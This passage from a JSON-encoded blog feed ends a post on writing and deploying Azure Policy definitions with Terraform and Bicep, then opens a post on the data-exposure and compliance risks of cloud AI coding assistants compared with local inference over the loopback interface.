fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='196' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='148' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eTerraform Implementation:\u003c/strong\u003e\nTo support DINE, the policy assignment requires a \u003cstrong\u003eManaged Identity\u003c/strong\u003e and an RBAC role assignment allowing that identity to deploy resources.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_management_group_policy_assignment\u0026#34; \u0026#34;logging\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name                 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;deploy-diag-settings\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  management_group_id  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eplatform_mg_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  policy_definition_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eazurerm_policy_definition\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003edine_logging\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eid\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location             \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;eastus\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eidentity\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    type \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SystemAssigned\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_role_assignment\u0026#34; \u0026#34;remediation_access\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  scope                \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eplatform_mg_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  role_definition_name \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Contributor\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  principal_id         \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eazurerm_management_group_policy_assignment\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003elogging\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eidentity\u003c/span\u003e[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e].\u003cspan style=\"color:#66d9ef\"\u003eprincipal_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"4-policy-as-code-bicep-and-loadjsoncontent\"\u003e4. Policy as Code: Bicep and \u003ccode\u003eloadJsonContent()\u003c/code\u003e\u003c/h2\u003e\n\u003cp\u003eInline JSON policy rules inside a Bicep file get unreadable fast. The \u003ccode\u003eloadJsonContent()\u003c/code\u003e function solves this cleanly—keep the policy rule logic in standalone JSON files and let Bicep pull them in at compile time.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e secureStoragePolicy \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Authorization/policyDefinitions@2021-06-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;deny-public-storage\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    policyRule: \u003cspan style=\"color:#a6e22e\"\u003eloadJsonContent\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;policies/storage/deny-public-access.json\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    parameters: \u003cspan style=\"color:#a6e22e\"\u003eloadJsonContent\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;policies/storage/parameters.json\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"5-managing-exceptions-with-exemptions\"\u003e5. Managing Exceptions with Exemptions\u003c/h2\u003e\n\u003cp\u003eSome applications can\u0026rsquo;t meet every policy on day one—legacy dependencies, migration windows, vendor constraints. \u003cstrong\u003eExemptions\u003c/strong\u003e let you grant a scoped, time-bounded waiver for a specific resource or subscription without touching the global standard. Unlike Exclusions (which are permanent and leave no audit trail), Exemptions carry an expiration date and a categorized reason (\u003ccode\u003eWaiver\u003c/code\u003e or \u003ccode\u003eMitigated\u003c/code\u003e). That paper trail is what your compliance reviewer actually wants to see.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitiatives over Policies:\u003c/strong\u003e Group your controls to simplify assignment management at scale.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDeny is Prevention:\u003c/strong\u003e Use \u003ccode\u003eDeny\u003c/code\u003e for security boundaries (Public IPs, Open RDP) to stop risks before they exist.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDINE is Maintenance:\u003c/strong\u003e Use \u003ccode\u003eDeployIfNotExists\u003c/code\u003e for standard platform boilerplate like logging and backup.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRemediate First:\u003c/strong\u003e Never switch an existing policy to \u003ccode\u003eDeny\u003c/code\u003e without running a remediation task to fix existing resources first.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-subscription-vending/\"\u003eSubscription Vending: Automating New Workload Onboarding with IaC\u003c/a\u003e to see how these policies are automatically applied to new subscriptions during the vending process.\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-landing-zone-costs/\"\u003eCost Governance in the Landing Zone: Tagging Enforcement, Budgets, and FinOps Automation\u003c/a\u003e to learn how to use Azure OpenAI to draft complex custom policy definitions in seconds.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/governance/policy/concepts/definition-structure\"\u003eMicrosoft Learn: Azure Policy Definition Structure\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources\"\u003eMicrosoft Learn: Remediate non-compliant resources\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/policy_definition\"\u003eTerraform Registry: azurerm_policy_definition\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Write and deploy Azure Policy definitions, initiatives, and assignments as code. Learn to use the Deny and DeployIfNotExists effects to maintain a secure landing zone foundation.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-policy-governance/","title":"Governance at Scale: Writing and Deploying Azure Policies with Terraform and Bicep"},{"content":"\u003cp\u003eYour team completes a three-month migration to an air-gapped environment to satisfy new compliance requirements. Two security audits. Significant budget. Two weeks after go-live, someone discovers the developers are using personal phone hotspots to access GitHub Copilot — because the local alternatives weren\u0026rsquo;t fast enough and nobody provisioned one.\u003c/p\u003e\n\u003cp\u003eShadow AI is not a behavior problem. It\u0026rsquo;s an infrastructure gap. And it\u0026rsquo;s a harder compliance violation than the one you just spent three months fixing.\u003c/p\u003e\n\u003ch2 id=\"the-hidden-risks-of-cloud-ai-coding\"\u003eThe Hidden Risks of Cloud AI Coding\u003c/h2\u003e\n\u003ch3 id=\"contextual-exposure\"\u003eContextual Exposure\u003c/h3\u003e\n\u003cp\u003eWhen a cloud AI coding assistant sends a completion request, it doesn\u0026rsquo;t just send the current line — it sends context. The file header. The import block. The function signatures above and below. Sometimes an entire file. The model needs this context to generate relevant suggestions, and the IDE plugin collects it automatically, without developer action.\u003c/p\u003e\n\u003cp\u003eGitHub Copilot\u0026rsquo;s data retention policy varies: Enterprise plans offer zero retention for IDE completions, while Individual plans may retain data for up to 28 days depending on the feature. But regardless of the plan, the data traverses Microsoft\u0026rsquo;s infrastructure over HTTPS. For a financial institution protecting proprietary trading algorithms, a biotech firm working with pre-patent research, or any organization under export control regulations, \u0026ldquo;trusted third-party infrastructure\u0026rdquo; is still third-party infrastructure. The TLS session terminates at Microsoft\u0026rsquo;s ingestion layer, not at your machine.\u003c/p\u003e\n\u003cp\u003eThe second risk is less visible: accidental secret transmission. When an IDE indexes a project for AI context, it may sweep \u003ccode\u003e.env\u003c/code\u003e files, configuration files containing API keys, or internal hostnames. You didn\u0026rsquo;t intend to share those — they were caught in the context sweep. By the time anyone notices, the data has already left the machine.\u003c/p\u003e\n\u003ch3 id=\"compliance-and-regulatory-exposure\"\u003eCompliance and Regulatory Exposure\u003c/h3\u003e\n\u003cp\u003eGDPR, HIPAA, and the EU AI Act (enforceable August 2026) all create liability frameworks around AI-processed data. The specific failure mode: a developer pastes patient records into an AI tool to write an anonymization function. The records are transmitted to a cloud API. The organization is potentially in violation of a HIPAA Business Associate Agreement — one they may not have known they needed.\u003c/p\u003e\n\u003cp\u003eCloud AI providers offer enterprise-tier plans with zero-retention policies and signed BAAs. These address many regulatory concerns. But compliance auditing becomes harder when inference happens in a vendor\u0026rsquo;s infrastructure. You can\u0026rsquo;t inspect what the model processed. You can\u0026rsquo;t verify data handling within the vendor\u0026rsquo;s systems. You\u0026rsquo;re trusting the policy document.\u003c/p\u003e\n\u003cp\u003eA local model running on \u003ccode\u003e127.0.0.1\u003c/code\u003e doesn\u0026rsquo;t require trust in a policy document. The packet never leaves the machine. You can prove this with a network capture.\u003c/p\u003e\n\u003ch2 id=\"the-local-first-solution-zero-trust-ai\"\u003eThe Local-First Solution: Zero-Trust AI\u003c/h2\u003e\n\u003ch3 id=\"how-local-inference-works\"\u003eHow Local Inference Works\u003c/h3\u003e\n\u003cp\u003eWhen OpenCode sends a prompt to Ollama, the request goes to \u003ccode\u003ehttp://127.0.0.1:11434\u003c/code\u003e. The loopback interface never touches a network adapter. There\u0026rsquo;s no HTTPS, no DNS resolution — it\u0026rsquo;s a process-to-process socket connection on the local machine. The model runs on the local GPU, generates tokens, and returns the response to the same socket.\u003c/p\u003e\n\u003cp\u003eFrom a security architecture standpoint, this is as controlled as it gets. The data never leaves the machine. There is no vendor to audit. There is no retention policy to verify. The evidence of containment is a packet capture showing zero egress.\u003c/p\u003e\n\u003ch3 id=\"diagram\"\u003eDiagram\u003c/h3\u003e\n\u003cp\u003eVisualizes the zero-trust local AI inference architecture, showing how the IDE plugin and inference engine communicate exclusively over the loopback interface, physically preventing data egress.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 504 233\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 8,0 L 488,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,48 L 168,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,48 L 456,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,80 L 280,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,112 L 280,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,128 L 168,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,128 L 456,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,160 L 480,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,208 L 488,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,0 L 8,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,48 L 40,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,48 L 168,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,48 L 288,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 456,48 L 456,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 488,0 L 488,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='184.000000,112.000000 172.000000,106.400002 172.000000,117.599998' fill='currentColor' transform='rotate(180.000000, 176.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='288.000000,80.000000 276.000000,74.400002 276.000000,85.599998' fill='currentColor' transform='rotate(0.000000, 280.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='24' y='20' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='20' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' 